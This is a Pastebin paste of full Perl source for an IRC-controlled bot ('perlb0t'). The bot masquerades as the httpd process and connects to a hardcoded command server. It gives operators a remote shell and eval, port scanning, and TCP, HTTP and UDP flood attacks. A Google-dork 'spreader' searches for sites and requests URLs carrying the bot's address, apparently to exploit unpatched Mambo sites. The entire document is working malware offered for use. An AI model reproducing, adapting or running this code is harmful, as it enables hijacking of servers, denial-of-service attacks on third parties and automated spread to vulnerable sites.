Advertisement
Guest User

Untitled

a guest
Dec 21st, 2014
213
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 15.59 KB | None | 0 0
  1. #!/usr/bin/perl
  2. my $processo = '/usr/sbin/httpd';
  3. my $linas_max='2';
  4. my $sleep='5';
  5. my @adms=("X", "root" ,"Y");
  6. my @hostauth=("evil");
  7. my @canais=("#new");
  8. my $nick='x0x';
  9. my $ircname ='rx';
  10. chop (my $realname = `uname -sr`);
  11. $servidor='82.165.130.187' unless $servidor;
  12. my $porta='12443';
  13. my $VERSAO = '0.5';
  14. $SIG{'INT'} = 'IGNORE';
  15. $SIG{'HUP'} = 'IGNORE';
  16. $SIG{'TERM'} = 'IGNORE';
  17. $SIG{'CHLD'} = 'IGNORE';
  18. $SIG{'PS'} = 'IGNORE';
  19. use IO::Socket;
  20. use Socket;
  21. use IO::Select;
  22. chdir("/");
  23. $servidor="$ARGV[0]" if $ARGV[0];
  24. $0="$processo"."\0"x16;;
  25. my $pid=fork;
  26. exit if $pid;
  27. die "Problema com o fork: $!" unless defined($pid);
  28.  
  29. our %irc_servers;
  30. our %DCC;
  31. my $dcc_sel = new IO::Select->new();
  32.  
  33. $sel_cliente = IO::Select->new();
  34. sub sendraw {
  35.   if ($#_ == '1') {
  36.     my $socket = $_[0];
  37.     print $socket "$_[1]\n";
  38.   } else {
  39.       print $IRC_cur_socket "$_[0]\n";
  40.   }
  41. }
  42.  
  43. sub conectar {
  44.    my $meunick = $_[0];
  45.    my $servidor_con = $_[1];
  46.    my $porta_con = $_[2];
  47.  
  48.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  49.    if (defined($IRC_socket)) {
  50.      $IRC_cur_socket = $IRC_socket;
  51.  
  52.      $IRC_socket->autoflush(1);
  53.      $sel_cliente->add($IRC_socket);
  54.  
  55.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  56.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  57.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  58.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  59.      nick("$meunick");
  60.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  61.      sleep 1;
  62.    }
  63. }
  64. my $line_temp;
  65. while( 1 ) {
  66.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  67.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  68.    my @ready = $sel_cliente->can_read(0);
  69.    next unless(@ready);
  70.    foreach $fh (@ready) {
  71.      $IRC_cur_socket = $fh;
  72.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  73.      $nread = sysread($fh, $msg, 4096);
  74.      if ($nread == 0) {
  75.         $sel_cliente->remove($fh);
  76.         $fh->close;
  77.         delete($irc_servers{$fh});
  78.      }
  79.      @lines = split (/\n/, $msg);
  80.  
  81.      for(my $c=0; $c<= $#lines; $c++) {
  82.        $line = $lines[$c];
  83.        $line=$line_temp.$line if ($line_temp);
  84.        $line_temp='';
  85.        $line =~ s/\r$//;
  86.        unless ($c == $#lines) {
  87.          parse("$line");
  88.        } else {
  89.            if ($#lines == 0) {
  90.              parse("$line");
  91.            } elsif ($lines[$c] =~ /\r$/) {
  92.                parse("$line");
  93.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  94.                parse("$line");
  95.            } else {
  96.                $line_temp = $line;
  97.            }
  98.        }
  99.       }
  100.    }
  101. }
  102.  
  103. sub parse {
  104.    my $servarg = shift;
  105.    if ($servarg =~ /^PING \:(.*)/) {
  106.      sendraw("PONG :$1");
  107.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  108.        my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  109.        if ($args =~ /^\001VERSION\001$/) {
  110.          notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
  111.        }
  112.        if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
  113.        if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  114.          if ($onde eq "$meunick"){
  115.            shell("$pn", "$args");
  116.          }
  117.          if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
  118.             my $natrix = $1;
  119.             my $arg = $2;
  120.             if ($arg =~ /^\!(.*)/) {
  121.               ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  122.             } elsif ($arg =~ /^\@(.*)/) {
  123.                 $ondep = $onde;
  124.                 $ondep = $pn if $onde eq $meunick;
  125.                 bfunc("$ondep","$1");
  126.             } else {
  127.                 shell("$onde", "$arg");
  128.             }
  129.          }
  130.        }
  131.  }
  132.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  133.        if (lc($1) eq lc($meunick)) {
  134.          $meunick=$4;
  135.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  136.        }
  137.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  138.        nick("$meunick|".int rand(999999));
  139.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  140.        $meunick = $2;
  141.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  142.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  143.        foreach my $canal (@canais) {
  144.          sendraw("JOIN $canal ddosit");
  145.        }
  146.    }
  147. }
  148.  
  149.  
  150. sub bfunc {
  151.   my $printl = $_[0];
  152.   my $funcarg = $_[1];
  153.   if (my $pid = fork) {
  154.      waitpid($pid, 0);
  155.   } else {
  156.       if (fork) {
  157.          exit;
  158.        } else {
  159.            if ($funcarg =~ /^portscan (.*)/) {
  160.              my $hostip="$1";
  161.              my @portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
  162.              my (@aberta, %porta_banner);
  163.       sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");
  164.              foreach my $porta (@portas)  {
  165.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  166.                 if ($scansock) {
  167.                    push (@aberta, $porta);
  168.                    $scansock->close;
  169.                 }
  170.              }
  171.  
  172.              if (@aberta) {
  173.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta");
  174.              } else {
  175.                sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open ports found");
  176.              }
  177.            }
  178.            if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  179.       sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attacking ".$1.":".$2." for ".$3." seconds.");
  180.       my $itime = time;
  181.       my ($cur_time);
  182.              $cur_time = time - $itime;
  183.       while ($3>$cur_time){
  184.              $cur_time = time - $itime;
  185.       &tcpflooder("$1","$2","$3");
  186.              }
  187.       sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attack done ".$1.":".$2.".");
  188.            }
  189.     if ($funcarg =~ /^version/) {
  190.   sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002 perlb0t ver ".$VERSAO);
  191.   }
  192.            if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
  193.       sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Scanning for unpatched mambo for ".$1." seconds.");
  194.       srand;
  195.       my $itime = time;
  196.       my ($cur_time);
  197.       my ($exploited);
  198.       $boturl=$2;
  199.              $cur_time = time - $itime;$exploited = 0;
  200.   while($1>$cur_time){
  201.       $cur_time = time - $itime;
  202.       @urls=fetch();
  203.    foreach $url (@urls) {
  204.    $cur_time = time - $itime;
  205.    my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
  206.  
  207.    $url =$path."/$goni$boturl" ;
  208.  
  209.  
  210.  
  211.  
  212.    $page = http_query($url);
  213.    $exploited = $exploited + 1;
  214.       }
  215.   }
  216.       sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Exploited ".$exploited." boxes in ".$1." seconds.");
  217.            }
  218.            if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  219.       sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking ".$1.":80 for ".$2." seconds.");
  220.       my $itime = time;
  221.       my ($cur_time);
  222.              $cur_time = time - $itime;
  223.       while ($2>$cur_time){
  224.              $cur_time = time - $itime;
  225.       my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  226.              print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  227.       close($socket);
  228.              }
  229.       sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking done ".$1.".");
  230.            }
  231.            if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  232.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
  233.              my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  234.              $dtime = 1 if $dtime == 0;
  235.              my %bytes;
  236.              $bytes{igmp} = $2 * $pacotes{igmp};
  237.              $bytes{icmp} = $2 * $pacotes{icmp};
  238.              $bytes{o} = $2 * $pacotes{o};
  239.              $bytes{udp} = $2 * $pacotes{udp};
  240.              $bytes{tcp} = $2 * $pacotes{tcp};
  241.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
  242.            }
  243.            exit;
  244.        }
  245.   }
  246. }
  247.  
  248. sub ircase {
  249.   my ($kem, $printl, $case) = @_;
  250.  
  251.   if ($case =~ /^join (.*)/) {
  252.      j("$1");
  253.    }
  254.  
  255. if ($case =~ /^refresh (.*)/) {
  256. my $goni = $titi[rand scalar @titi];
  257.  }
  258.  
  259.    if ($case =~ /^part (.*)/) {
  260.       p("$1");
  261.    }
  262.    if ($case =~ /^rejoin\s+(.*)/) {
  263.       my $chan = $1;
  264.       if ($chan =~ /^(\d+) (.*)/) {
  265.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  266.           p("$2");
  267.           j("$2");
  268.         }
  269.       } else {
  270.           p("$chan");
  271.           j("$chan");
  272.       }
  273.    }
  274.    if ($case =~ /^op/) {
  275.       op("$printl", "$kem") if $case eq "op";
  276.       my $oarg = substr($case, 3);
  277.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  278.    }
  279.    if ($case =~ /^deop/) {
  280.       deop("$printl", "$kem") if $case eq "deop";
  281.       my $oarg = substr($case, 5);
  282.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  283.    }
  284.    if ($case =~ /^msg\s+(\S+) (.*)/) {
  285.       msg("$1", "$2");
  286.    }
  287.    if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  288.       for (my $cf = 1; $cf <= $1; $cf++) {
  289.         msg("$2", "$3");
  290.       }
  291.    }
  292.    if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  293.       ctcp("$1", "$2");
  294.    }
  295.    if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  296.       for (my $cf = 1; $cf <= $1; $cf++) {
  297.         ctcp("$2", "$3");
  298.       }
  299.    }
  300.    if ($case =~ /^nick (.*)/) {
  301.       nick("$1");
  302.    }
  303.    if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  304.        conectar("$2", "$1", 6667);
  305.    }
  306.    if ($case =~ /^raw (.*)/) {
  307.       sendraw("$1");
  308.    }
  309.    if ($case =~ /^eval (.*)/) {
  310.      eval "$1";
  311.    }
  312. }
  313.  
  314. sub shell {
  315.   my $printl=$_[0];
  316.   my $comando=$_[1];
  317.   if ($comando =~ /cd (.*)/) {
  318.     chdir("$1") || msg("$printl", "No such file or directory");
  319.     return;
  320.   }
  321.   elsif ($pid = fork) {
  322.      waitpid($pid, 0);
  323.   } else {
  324.       if (fork) {
  325.          exit;
  326.        } else {
  327.            my @resp=`$comando 2>&1 3>&1`;
  328.            my $c=0;
  329.            foreach my $linha (@resp) {
  330.              $c++;
  331.              chop $linha;
  332.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  333.              if ($c == "$linas_max") {
  334.                $c=0;
  335.                sleep $sleep;
  336.              }
  337.            }
  338.            exit;
  339.        }
  340.   }
  341. }
  342.  
  343. sub tcpflooder {
  344.  my $itime = time;
  345.  my ($cur_time);
  346.  my ($ia,$pa,$proto,$j,$l,$t);
  347.  $ia=inet_aton($_[0]);
  348.  $pa=sockaddr_in($_[1],$ia);
  349.  $ftime=$_[2];
  350.  $proto=getprotobyname('tcp');
  351.  $j=0;$l=0;
  352.  $cur_time = time - $itime;
  353.  while ($l<1000){
  354.   $cur_time = time - $itime;
  355.   last if $cur_time >= $ftime;
  356.   $t="SOCK$l";
  357.   socket($t,PF_INET,SOCK_STREAM,$proto);
  358.   connect($t,$pa)||$j--;
  359.   $j++;$l++;
  360.  }
  361.  $l=0;
  362.  while ($l<1000){
  363.   $cur_time = time - $itime;
  364.   last if $cur_time >= $ftime;
  365.   $t="SOCK$l";
  366.   shutdown($t,2);
  367.   $l++;
  368.  }
  369. }
  370.  
  371. sub udpflooder {
  372.   my $iaddr = inet_aton($_[0]);
  373.   my $msg = 'A' x $_[1];
  374.   my $ftime = $_[2];
  375.   my $cp = 0;
  376.   my (%pacotes);
  377.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  378.  
  379.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  380.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  381.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  382.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  383.   return(undef) if $cp == 4;
  384.   my $itime = time;
  385.   my ($cur_time);
  386.   while ( 1 ) {
  387.      for (my $porta = 1; $porta <= 65000; $porta++) {
  388.        $cur_time = time - $itime;
  389.        last if $cur_time >= $ftime;
  390.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  391.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  392.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  393.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  394.  
  395.        for (my $pc = 3; $pc <= 255;$pc++) {
  396.          next if $pc == 6;
  397.          $cur_time = time - $itime;
  398.          last if $cur_time >= $ftime;
  399.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  400.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  401.        }
  402.      }
  403.      last if $cur_time >= $ftime;
  404.   }
  405.   return($cur_time, %pacotes);
  406. }
  407.  
  408. sub ctcp {
  409.    return unless $#_ == 1;
  410.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  411. }
  412. sub msg {
  413.    return unless $#_ == 1;
  414.    sendraw("PRIVMSG $_[0] :$_[1]");
  415. }
  416. sub notice {
  417.    return unless $#_ == 1;
  418.    sendraw("NOTICE $_[0] :$_[1]");
  419. }
  420. sub op {
  421.    return unless $#_ == 1;
  422.    sendraw("MODE $_[0] +o $_[1]");
  423. }
  424. sub deop {
  425.    return unless $#_ == 1;
  426.    sendraw("MODE $_[0] -o $_[1]");
  427. }
  428. sub j { &join(@_); }
  429. sub join {
  430.    return unless $#_ == 0;
  431.    sendraw("JOIN $_[0]");
  432. }
  433. sub p { part(@_); }
  434. sub part {
  435.   sendraw("PART $_[0]");
  436. }
  437. sub nick {
  438.   return unless $#_ == 0;
  439.   sendraw("NICK $_[0]");
  440. }
  441. sub quit {
  442.   sendraw("QUIT :$_[0]");
  443. }
  444.  
  445. # Spreader
  446. # this 'spreader' code isnot mine, i dont know who coded it.
  447. # update: well, i just fix0red this shit a bit.
  448. #
  449.  
  450. sub fetch(){
  451.     my $rnd=(int(rand(9999)));
  452.     my $n= 80;
  453.     if ($rnd<5000) { $n<<=1;}
  454.     my $s= (int(rand(5)) * $n);
  455.  
  456. my @dominios = ("com","net","org","info","gov", "gob","gub","xxx", "eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",
  457.   "py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",
  458.   "af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
  459.   "vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",
  460.   "ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",
  461.   "iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",
  462.   "ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",
  463.   "na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",
  464.   "sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
  465.   "vu","vn","ye","yu","cd","zm","zw","");
  466. my @str;
  467.  
  468. foreach $dom  (@dominios)
  469. {
  470.  push (@str,"allinurl:%22".$dom."/".$goni."%22");
  471. }
  472.  
  473.     my $query="www.google.com/search?q=";
  474.     $query.=$str[(rand(scalar(@str)))];
  475.     $query.="&num=$n&start=$s";
  476.  
  477.  
  478.     my @lst=();
  479.     my $page = http_query($query);
  480.     while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
  481.  if ($1 !~ m/google|cache|translate/){
  482.      push (@lst,$1);
  483.  }
  484.     }
  485.     return (@lst);
  486. }
  487.  
  488.  
  489. sub http_query($){
  490.     my ($url) = @_;
  491.     my $host=$url;
  492.     my $query=$url;
  493.  
  494.     my $page="";
  495.     $host =~ s/href=\"?http:\/\///;
  496.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  497.     $query =~s/$host//;
  498.     if ($query eq "") {$query="/";};
  499.     eval {
  500.  local $SIG{ALRM} = sub { die "1";};
  501.  alarm 10;
  502.  my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  503.  print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  504.  my @r = <$sock>;
  505.  $page="@r";
  506.  alarm 0;
  507.  close($sock);
  508.     };
  509.     return $page;
  510.  
  511. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement